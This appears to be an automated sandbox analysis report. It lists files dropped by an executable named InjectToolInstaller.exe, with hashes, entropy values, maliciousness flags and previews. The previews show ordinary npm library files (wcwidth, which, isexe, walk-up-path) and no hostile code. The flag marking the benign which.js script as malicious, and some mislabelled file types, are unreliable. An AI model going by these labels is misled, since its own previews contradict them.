MD5:	578FEA3492E42FDB5D49638CA0B49BDE
SHA1:	AA7751530616E648EC4386CFEC81D69E6E824C65
SHA-256:	90B1BD3A798E7D54B016402B484244552FBA350EA8395116CFD9B56C70379EBB
SHA-512:	592A9D62C7F6912E853909233F0BB3F4CF3A7B1A690E2C79BEE77270597DDCC845F825E17FA63A98B7FCA29A82B247994F96BBD649F4A99182D9BE88F3726192
Malicious:	false
Preview:	{. "name": "walk-up-path",. "version": "3.0.1",. "files": [. "dist". ],. "main": "./dist/cjs/index.js",. "module": "./dist/mjs/index.js",. "types": "./dist/mjs/index.d.ts",. "exports": {. ".": {. "require": {. "types": "./dist/cjs/index.d.ts",. "default": "./dist/cjs/index.js". },. "import": {. "types": "./dist/mjs/index.d.ts",. "default": "./dist/mjs/index.js". }. }. },. "description": "Given a path string, return a generator that walks up the path, emitting each dirname.",. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/walk-up-path". },. "author": "Isaac Z. Schlueter <i@izs.me> (https://izs.me)",. "license": "ISC",. "scripts": {. "preversion": "npm test",. "postversion": "npm publish",. "prepublishOnly": "git push origin --follow-tags",. "prepare": "tsc -p tsconfig.json && tsc -p tsconfig-esm.json && bash ./scripts/fixup.sh",. "pretest": "npm run prepare",. "presna

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wcwidth\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Algol 68 source, ASCII text
Category:	dropped
Size (bytes):	1581
Entropy (8bit):	5.311811343143682
Encrypted:	false
SSDEEP:	48:TEGhBySJrlxEvYTq32sr432sBEt013wBH3:TEUBluwW3o3dgBX
MD5:	092DD56CBBFD377304F7EFAC1C0D8ADA
SHA1:	9DCA22783EACD8A2D2DE9854DB122CF629AC8CC2
SHA-256:	6294DA0E0A201BBE1DE254445C9D07133A9448AF05E4E44D0A2364747D114368
SHA-512:	B646F1214C5332BF3D9745C8C99667E57287D5A608AF8C1AF8F6A81EC67F583CD53454F0FBA359F1C0B64888FE1FA4EECAC5BF9B687F84E60CAFD5A4562E1DB2
Malicious:	false
Preview:	wcwidth.js: JavaScript Portng of Markus Kuhn's wcwidth() Implementation.=======================================================================..Copyright (C) 2012 by Jun Woong...This package is a JavaScript porting of `wcwidth()` implementation.[by Markus Kuhn](http://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c)...Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies.of the Software, and to permit persons to whom the Software is furnished to do.so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software....THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,.INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTI

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wcwidth\combining.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3078
Entropy (8bit):	3.7579223891408406
Encrypted:	false
SSDEEP:	48:DxDp6vQgA1g1LjEOcymD3+DlXsqzMtDE26NutDsL2PH+/PKoclc9rj3VWnu6PG+e:D9Lx+ET3d1xJZtNg35wEmDznMhWwv
MD5:	5D39012C598375F4EB3A4F4054937C97
SHA1:	56CE4E6C97A162CC02EC0094C53E9D5A404B63DF
SHA-256:	C27A2E1379EB7C30E81AA97AB9C21E269D9EAEAB0104D2BBBB76DDFA0A27EC29
SHA-512:	65887E168B8D2B0B29518B2C085EB55998CA05C20BD876B75AF809E10940CC48FFB1ED313600A1E4D9FFED4DF9218A8F0A2EC2AA38AF396BD7AE4DB9E73B0B8E
Malicious:	false
Preview:	module.exports = [. [ 0x0300, 0x036F ], [ 0x0483, 0x0486 ], [ 0x0488, 0x0489 ],. [ 0x0591, 0x05BD ], [ 0x05BF, 0x05BF ], [ 0x05C1, 0x05C2 ],. [ 0x05C4, 0x05C5 ], [ 0x05C7, 0x05C7 ], [ 0x0600, 0x0603 ],. [ 0x0610, 0x0615 ], [ 0x064B, 0x065E ], [ 0x0670, 0x0670 ],. [ 0x06D6, 0x06E4 ], [ 0x06E7, 0x06E8 ], [ 0x06EA, 0x06ED ],. [ 0x070F, 0x070F ], [ 0x0711, 0x0711 ], [ 0x0730, 0x074A ],. [ 0x07A6, 0x07B0 ], [ 0x07EB, 0x07F3 ], [ 0x0901, 0x0902 ],. [ 0x093C, 0x093C ], [ 0x0941, 0x0948 ], [ 0x094D, 0x094D ],. [ 0x0951, 0x0954 ], [ 0x0962, 0x0963 ], [ 0x0981, 0x0981 ],. [ 0x09BC, 0x09BC ], [ 0x09C1, 0x09C4 ], [ 0x09CD, 0x09CD ],. [ 0x09E2, 0x09E3 ], [ 0x0A01, 0x0A02 ], [ 0x0A3C, 0x0A3C ],. [ 0x0A41, 0x0A42 ], [ 0x0A47, 0x0A48 ], [ 0x0A4B, 0x0A4D ],. [ 0x0A70, 0x0A71 ], [ 0x0A81, 0x0A82 ], [ 0x0ABC, 0x0ABC ],. [ 0x0AC1, 0x0AC5 ], [ 0x0AC7, 0x0AC8 ], [ 0x0ACD, 0x0ACD ],. [ 0x0AE2, 0x0AE3 ], [ 0x0B01, 0x0B01 ], [ 0x0B3C, 0x0B3C ],. [ 0x0B3F, 0x0B3F

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wcwidth\docs\index.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3218
Entropy (8bit):	4.702979715443469
Encrypted:	false
SSDEEP:	48:Y3JiSNecAcKHCrZUnRmDXzNj3K4qzdVb+qaOKj7x1zG+dJEVAGf7QvNvOjSlvGhp:Y3JRNQCr4RmzpMhgdx1LjQk0jKop
MD5:	BAA7F569C9C0BCFD8EE88DA56674F0C2
SHA1:	C84E17F0DF1D93C950D475C3CA265ACCB4446AB5
SHA-256:	1F5FC4B2DF8D61CC6D0871B53EB9F44D05907C37751E1BFE91A2448C38E01754
SHA-512:	DED4EE903D92A1FD3975B3B26FCCB5443CCAF2C4C28F97E2CC8B50730809CC3566D5E5C6748B0221DDB042C5A2A584869C32EECF48681AAE1A14294C8F3C683D
Malicious:	false
Preview:	### Javascript porting of Markus Kuhn's wcwidth() implementation..The following explanation comes from the original C implementation:..This is an implementation of wcwidth() and wcswidth() (defined in.IEEE Std 1002.1-2001) for Unicode...http://www.opengroup.org/onlinepubs/007904975/functions/wcwidth.html.http://www.opengroup.org/onlinepubs/007904975/functions/wcswidth.html..In fixed-width output devices, Latin characters all occupy a single."cell" position of equal width, whereas ideographic CJK characters.occupy two such cells. Interoperability between terminal-line.applications and (teletype-style) character terminals using the.UTF-8 encoding requires agreement on which character should advance.the cursor by how many cell positions. No established formal.standards exist at present on which Unicode character shall occupy.how many cell positions on character terminals. These routines are.a first attempt of defining such behavior based on simple rules.applied to data provided by the Uni

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wcwidth\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3141
Entropy (8bit):	4.872930537287429
Encrypted:	false
SSDEEP:	48:Sm0WtFstIqpryDF/SFO96rIw4ikPjtndvSMBYEJZhvZpQzUnstUIaU1vxU5:Sm0WtF6IqVFCjHKH8ZhL6yQ65
MD5:	2D5490C202F3979F1EAE08131AC86F54
SHA1:	7C6C6E414EBFBCE17AA1F91336AB2F422FC6615D
SHA-256:	9F10D9197C6E10AB23F6633498D3A7F3DE671BD1B4EB513BA1A9A31E1EEF5176
SHA-512:	19D3472EE8A3F395736EC2F136F38ED061719493887D32EE7733EE365F5F90BA9484025870202363595FC104067F806C0C12E91A14940B60A70368AB7F3BB805
Malicious:	false
Preview:	"use strict"..var defaults = require('defaults').var combining = require('./combining')..var DEFAULTS = {. nul: 0,. control: 0.}..module.exports = function wcwidth(str) {. return wcswidth(str, DEFAULTS).}..module.exports.config = function(opts) {. opts = defaults(opts \|\| {}, DEFAULTS). return function wcwidth(str) {. return wcswidth(str, opts). }.}../. The following functions define the column width of an ISO 10646. * character as follows:. * - The null character (U+0000) has a column width of 0.. * - Other C0/C1 control characters and DEL will lead to a return value. * of -1.. * - Non-spacing and enclosing combining characters (general category. * code Mn or Me in the. * Unicode database) have a column width of 0.. * - SOFT HYPHEN (U+00AD) has a column width of 1.. * - Other format characters (general category code Cf in the Unicode. * database) and ZERO WIDTH. * SPACE (U+200B) have a column width of 0.. * - Hangul Jamo medial vowels and final conson

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wcwidth\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	852
Entropy (8bit):	4.653271206867947
Encrypted:	false
SSDEEP:	12:rx18uyVDtqGmMLJxRFZSDmKWd6a05+En0cn5Hd/HXH3ArTsyVHAWjVCObmW/gePx:11lyMSJxpq1+9cdlHHAXVzO43Z
MD5:	D1DDFA64C1FB556704AE2961DFDF7200
SHA1:	9D7D784EC58F56C69EF9A539DC79F6335E31486C
SHA-256:	500D6BA587F8BD0FC66B2BB93B3C2A18C8D53C7F9B4A9A187174528B4F62B710
SHA-512:	6642AECEE500E83EC449F99F03A1903158CD1D5AF7582027E5ECE343F0E02C2F77BF7B513E547F49A3A7E2BF4F4D827FA909E0A1D92D5B2B83A49CED26A3B076
Malicious:	false
Preview:	{. "name": "wcwidth",. "version": "1.0.1",. "description": "Port of C's wcwidth() and wcswidth()",. "author": "Tim Oxley",. "contributors": [. "Woong Jun <woong.jun@gmail.com> (http://code.woong.org/)". ],. "main": "index.js",. "dependencies": {. "defaults": "^1.0.3". },. "devDependencies": {. "tape": "^4.5.1". },. "license": "MIT",. "keywords": [. "wide character",. "wc",. "wide character string",. "wcs",. "terminal",. "width",. "wcwidth",. "wcswidth". ],. "directories": {. "doc": "docs",. "test": "test". },. "scripts": {. "test": "tape test/*.js". },. "repository": {. "type": "git",. "url": "git+https://github.com/timoxley/wcwidth.git". },. "bugs": {. "url": "https://github.com/timoxley/wcwidth/issues". },. "homepage": "https://github.com/timoxley/wcwidth#readme".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wcwidth\test\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.012204015990937
Encrypted:	false
SSDEEP:	12:c7ZprxmlH/YxrCAD/7WWb8HXNSFHHXWIrmmrHxaQY2hZHK1LKBPE1lMAJmuDxLEf:gQJ/YBD/qm89wlLPUL40lOwQhQOQinJ
MD5:	90C96F14481B7AAAF6CE547554B50E20
SHA1:	5041238DA0CBFF1622A13373C6E95BAA823C6D13
SHA-256:	A4601122298DE92DE138438F25F88B3B3052153F53266238797031C98DD273E5
SHA-512:	98BE3776A2338C16BFDBBCF96A77D333461F704D2E8005E42524204883070FE1D646124AAEC57EF7AA4349C17C9EFEE2B68D0417BD6ED7D7071C49659AB366E6
Malicious:	false
Preview:	"use strict"..var wcwidth = require('../').var test = require('tape')..test('handles regular strings', function(t) {. t.strictEqual(wcwidth('abc'), 3). t.end().})..test('handles multibyte strings', function(t) {. t.strictEqual(wcwidth('....'), 8). t.end().})..test('handles multibyte characters mixed with regular characters', function(t) {. t.strictEqual(wcwidth('abc ....'), 12). t.end().})..test('ignores control characters e.g. \\n', function(t) {. t.strictEqual(wcwidth('abc\n....\ndef'), 14). t.end().})..test('ignores bad input', function(t) {. t.strictEqual(wcwidth(''), 0). t.strictEqual(wcwidth(3), 0). t.strictEqual(wcwidth({}), 0). t.strictEqual(wcwidth([]), 0). t.strictEqual(wcwidth(), 0). t.end().})..test('ignores nul (charcode 0)', function(t) {. t.strictEqual(wcwidth(String.fromCharCode(0)), 0). t.end().})..test('ignores nul mixed with chars', function(t) {. t.strictEqual(wcwidth('a' + String.fromCharCode(0) + '\n..'), 5). t.end().}

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\bin\which.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	960
Entropy (8bit):	4.6578019810536615
Encrypted:	false
SSDEEP:	24:y2NodBPHXV808+tQPuFgekpVe0Vyi0/Qm+7N0qihqCfh:5S3/8+mqg5hiQmq/iBfh
MD5:	295020D5ED3BD5F99127E934D6CD8FA8
SHA1:	A28CB671C663015AA888EA601817DE1507F84B80
SHA-256:	7C37493FCAC8AF6526F51F4D83606A733CA7CA3C7B943D1E9239BB30346B019D
SHA-512:	0061A8646B26D16DEB6ED9705454917D48D7F784BECDCCF24AAC2EFCE3E3C46B7B6FA74E6BB92C2E568C7EF217538B6BC865D518245BEBEBA92C47F43B0050FC
Malicious:	true
Preview:	#!/usr/bin/env node..const which = require('../lib').const argv = process.argv.slice(2)..const usage = (err) => {. if (err) {. console.error(`which: ${err}`). }. console.error('usage: which [-as] program ...'). process.exit(1).}..if (!argv.length) {. return usage().}..let dashdash = false.const [commands, flags] = argv.reduce((acc, arg) => {. if (dashdash \|\| arg === '--') {. dashdash = true. return acc. }.. if (!/^-/.test(arg)) {. acc[0].push(arg). return acc. }.. for (const flag of arg.slice(1).split('')) {. if (flag === 's') {. acc[1].silent = true. } else if (flag === 'a') {. acc[1].all = true. } else {. usage(`illegal option -- ${flag}`). }. }.. return acc.}, [[], {}])..for (const command of commands) {. try {. const res = which.sync(command, { all: flags.all }). if (!flags.silent) {. console.log([].concat(res).join('\n')). }. } catch (err) {. process.exitCode = 1. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3129
Entropy (8bit):	4.836498733025785
Encrypted:	false
SSDEEP:	96:NskRLJJACoH9J29SQ5hYcsrWg/dS8GWg/dj9:Nskp3JI9J2EQSWg/dwWg/dj9
MD5:	C2D78CBE5FD9A3F556E445AD405BA871
SHA1:	62BDC592C71B66A284DEB70BC3439ECE9DC9907C
SHA-256:	D9D32D45A01826692A1A0C70D40C6182AA0405713166ECD4A3BD3DF68D3B90BF
SHA-512:	44E44D5EDBD59DD793AC1C4B641D1CBDE72DFE6001E4F1D6FBDEF86D96588F064C4D9916DAB45537A3A3DF6FA3F70711C513E6A9BBAD3935498FA2369953BAF2
Malicious:	false
Preview:	const { isexe, sync: isexeSync } = require('isexe').const { join, delimiter, sep, posix } = require('path')..const isWindows = process.platform === 'win32'..// used to check for slashed in commands passed in. always checks for the posix.// seperator on all platforms, and checks for the current separator when not on.// a posix platform. don't use the isWindows check for this since that is mocked.// in tests but we still need the code to actually work when called. that is also.// why it is ignored from coverage../* istanbul ignore next */.const rSlash = new RegExp(`[${posix.sep}${sep === posix.sep ? '' : sep}]`.replace(/(\\)/g, '\\$1')).const rRel = new RegExp(`^\\.${rSlash.source}`)..const getNotFoundError = (cmd) =>. Object.assign(new Error(`not found: ${cmd}`), { code: 'ENOENT' })..const getPathInfo = (cmd, {. path: optPath = process.env.PATH,. pathExt: optPathExt = process.env.PATHEXT,. delimiter: optDelimiter = delimiter,.}) => {. // If it has a slash, then we don't bother sear

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	775
Entropy (8bit):	5.053844833938563
Encrypted:	false
SSDEEP:	12:9FM3Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:94ZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	1A59AC0C921C435F03FC6905E5B34C49
SHA1:	EA89E0034B738336BC4ECD315F35B847523C6AED
SHA-256:	6DAB8081CBCD304CFE3958576D6680CB33F49D39A5F43C53A1D0CF3666D29BD3
SHA-512:	93859E3A267930ADD238ADE684726100437B739832C2B548F78846C1DD6C7ECB7B053EB8F4874AE18E2C15B5BB46F4F85FFFFF3B030767D1737434B943547321
Malicious:	false
Preview:	The ISC License..Copyright (c) 2016-2022 Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\cjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1951
Entropy (8bit):	5.068865709822519
Encrypted:	false
SSDEEP:	48:KBsyqSHuaHELyUFmM7xHZbmmScOS1qBwq0bEz0I+I7JEupLYo4pyoLO:KBmqxHELy6D7VZbmmS5SqOqeEAI+IGul
MD5:	B195A0C8BEC7F3A08EC35EE2E21EE4E6
SHA1:	1559D3332FFD52D413C4C12FA1DA29D7C087394B
SHA-256:	FAFC5805753BF9D1C1E2C82D51493425E0E1F19DBDA3522390D0CC65DBD10BA6
SHA-512:	1C368DAE2D8839791D22E78D870DB8D8B20150B4CC9C3A9817A22B51FDEA47EC78606C186346C0C65E2EB4BFB1D6263862013FE0F0645607B4986C9C9C01D17F
Malicious:	false
Preview:	"use strict";.var __createBinding = (this && this.__createBinding) \|\| (Object.create ? (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. var desc = Object.getOwnPropertyDescriptor(m, k);. if (!desc \|\| ("get" in desc ? !m.__esModule : desc.writable \|\| desc.configurable)) {. desc = { enumerable: true, get: function() { return m[k]; } };. }. Object.defineProperty(o, k2, desc);.}) : (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. o[k2] = m[k];.}));.var __setModuleDefault = (this && this.__setModuleDefault) \|\| (Object.create ? (function(o, v) {. Object.defineProperty(o, "default", { enumerable: true, value: v });.}) : function(o, v) {. o["default"] = v;.});.var __importStar = (this && this.__importStar) \|\| function (mod) {. if (mod && mod.__esModule) return mod;. var result = {};. if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);. __setModuleDef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\cjs\options.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.948723523269286
Encrypted:	false
SSDEEP:	3:jTqUPjseJqX3dgEGycTIeANCj/Yp7Lh:VTErcSNDRLh
MD5:	1DDDEFA4A196DB14CC8A9CD45EB63596
SHA1:	DA01F94006702CA74539BEE546D33A44FAE802C2
SHA-256:	474F49F173FDD0657DED670AB46BB209A05B08F9F52EFB5E4DA2045BA7D097A3
SHA-512:	3D5B211388390E08FD46C10873C792165F9FDDED0D32116BDF9D0919F8FDD02CDBC5B3F8FEB9553C1C7D18859B198C00D16BAD5997D8A599E5A992131AE1A10A
Malicious:	false
Preview:	"use strict";.Object.defineProperty(exports, "__esModule", { value: true });.//# sourceMappingURL=options.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\cjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.783465189601646
Encrypted:	false
SSDEEP:	3:f8fkEKLSYv:fUKLSC
MD5:	DF9FFC6AA3F78A5491736D441C4258A8
SHA1:	9D0D83AE5D399D96B36D228E614A575FC209D488
SHA-256:	8005A3491DB7D92F36AC66369861589F9C47123D3A7C71E643FC2C06168CD45A
SHA-512:	6C58939DA58F9B716293A8328F7A3649B6E242BF235FAE00055A0CC79FB2788E4A99DFAA422E0CFADBE84E0D5E33B836F68627E6A409654877EDC443B94D04C4
Malicious:	false
Preview:	{. "type": "commonjs".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\cjs\posix.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2072
Entropy (8bit):	4.720271286960037
Encrypted:	false
SSDEEP:	48:I3EKpZTzYue4pRpWFYuIG4sXBCclt029aiNkY/QL:I3EKpdzYudp/CYuIG4YflK5ZL
MD5:	FFF527D5578A232A9F485E02B655B860
SHA1:	561A5F7DF27D00AFE44A21AF05349689A0342EA1
SHA-256:	B95CFDAAA9733482DB44A7B882906BA8E0FB18D4F935AEC7ECF18CB359233747
SHA-512:	0F5FDE3DB54172CFE0D2B419B4293D9C8BDC43345ABC0C9BBFE4CDBAEAABE96554CE50F735480F57686BA0EB3F992ABE85B49ED443EAFCE3D9A7DBF8CAAF13D8
Malicious:	false
Preview:	"use strict";./*. This is the Posix implementation of isexe, which uses the file. * mode and uid/gid values.. . @module. /.Object.defineProperty(exports, "__esModule", { value: true });.exports.sync = exports.isexe = void 0;.const fs_1 = require("fs");.const promises_1 = require("fs/promises");./. Determine whether a path is executable according to the mode and. * current (or specified) user and group IDs.. /.const isexe = async (path, options = {}) => {. const { ignoreErrors = false } = options;. try {. return checkStat(await (0, promises_1.stat)(path), options);. }. catch (e) {. const er = e;. if (ignoreErrors \|\| er.code === 'EACCES'). return false;. throw er;. }.};.exports.isexe = isexe;./. Synchronously determine whether a path is executable according to. * the mode and current (or specified) user and group IDs.. */.const sync = (path, options = {}) => {. const { ignoreErrors = false } = options;. try {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\cjs\win32.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1877
Entropy (8bit):	4.713642980927977
Encrypted:	false
SSDEEP:	48:a+EKpHa5jeYue4pHajjWwYuIw9cWZoCMmvyrWiQk5v8:a+EKpHaxeYudpHa//YuIgcjevyrWiQki
MD5:	53173FEC9E74BF36E6CD5B9A9007D8B2
SHA1:	9F686FF820C0BC63C762C71B3003033126320A4A
SHA-256:	0D064D1CBA08C40AC2DA64DE18E6539BA8B078417EA20D9F04B1757215C66DC4
SHA-512:	5B52FA52ADC2E9EB246F6D4B8BEE4E8A0F27C7DD564364295BE2F6FB9B2A175EC525E741FC86230B85467A369E08F96F3CA54124AACD7EB0218D71FE3EF06988
Malicious:	false
Preview:	"use strict";./*. This is the Windows implementation of isexe, which uses the file. * extension and PATHEXT setting.. . @module. /.Object.defineProperty(exports, "__esModule", { value: true });.exports.sync = exports.isexe = void 0;.const fs_1 = require("fs");.const promises_1 = require("fs/promises");./. Determine whether a path is executable based on the file extension. * and PATHEXT environment variable (or specified pathExt option). /.const isexe = async (path, options = {}) => {. const { ignoreErrors = false } = options;. try {. return checkStat(await (0, promises_1.stat)(path), path, options);. }. catch (e) {. const er = e;. if (ignoreErrors \|\| er.code === 'EACCES'). return false;. throw er;. }.};.exports.isexe = isexe;./. Synchronously determine whether a path is executable based on the file. * extension and PATHEXT environment variable (or specified pathExt option). */.const sync = (path, options = {}) => {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\mjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	516
Entropy (8bit):	4.905673705157343
Encrypted:	false
SSDEEP:	12:CNTRnNg2QP1zQWGCcDFCnlvKpJ6Wt/L3GhmKfctit/YhTGLJs:CnnS2QP5Q3EupLYlU4pyTGLJs
MD5:	65A0C48895250BB7E2A121F0BDBA9B0B
SHA1:	4E04785147048D5A911DCCB7DC73DDE5154AE374
SHA-256:	C123F7AC6FDE508DF0623580C8B0D7596CEE6BF3955842CD6A0D18EDE42CA6DC
SHA-512:	63AC449222F6C46A78772439C116D96CE7BC86A056EC4CD5915D6E37AE8F85E983F87CF2F9A7212F2832853826A58AE5A96FADE26209B441703F10D824A14049
Malicious:	false
Preview:	import * as posix from './posix.js';.import * as win32 from './win32.js';.export * from './options.js';.export { win32, posix };.const platform = process.env._ISEXE_TEST_PLATFORM_ \|\| process.platform;.const impl = platform === 'win32' ? win32 : posix;./*. Determine whether a path is executable on the current platform.. /.export const isexe = impl.isexe;./. Synchronously determine whether a path is executable on the. * current platform.. */.export const sync = impl.sync;.//# sourceMappingURL=index.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\mjs\options.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.602593956565702
Encrypted:	false
SSDEEP:	3:4ikY/Kj/Yp7Lh:4ikYDRLh
MD5:	70A13209E77ED1DC26EEB68F90112885
SHA1:	98FD6B96A511E6D3B3BBFADA0AC5A0407F1C2210
SHA-256:	FEA76C2F7B85CF0FAE3FC883565127911873222C84C8EE41BBF8F3A6AC3881EA
SHA-512:	0327C53C217E47D93149EB92AF9497A45575F3734D18D799F87389EF7CC512E11CC2E37E475ACB9AB761EC91594CA7FA4FA16A52B2F9ED3EB258D1FC0CBFDBEF
Malicious:	false
Preview:	export {};.//# sourceMappingURL=options.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\mjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.675310868912364
Encrypted:	false
SSDEEP:	3:f8fqKBYn:f4Yn
MD5:	D0707362E90F00EDD12435E9D3B9D71C
SHA1:	50FAEB965B15DFC6854CB1235B06DBB5E79148D2
SHA-256:	3CA9D4AFD21425087CF31893B8F9F63C81B0B8408DB5E343CA76E5F8AA26AB9A
SHA-512:	9D323420CC63C6BEE79DCC5DB5F0F18F6B8E073DAAF8FFA5459E11F2DE59A9F5E8C178D77FA92AFC9DDD352623DEC362C62FFF859C71A2FAB93F1E2172C4987F
Malicious:	false
Preview:	{. "type": "module".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\mjs\posix.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	1896
Entropy (8bit):	4.6361056507106575
Encrypted:	false
SSDEEP:	48:h1UDMapZWlYI4pRk3Y6G4sXBCclt029aiNkY/QL:h1UDMapAlY/pK3Y6G4YflK5ZL
MD5:	7BA968DE0E49AA5EB342183E8AC8CB89
SHA1:	654B4E0D720E00BC1F9E79ACF10C24C9B6935EEA
SHA-256:	4C4D0ACDFC6A5920623AE1996CA8EA056492457677A53C893905016059E87996
SHA-512:	E7759E0B76C8DDEDC79070E9372BF1A829D98B21BAF512B1E8CB7FE74157BCD8CC3633D3F222EC533D61A9C3597634EC570C075A5B54DF4682C7EFF8F56EF3FC
Malicious:	false
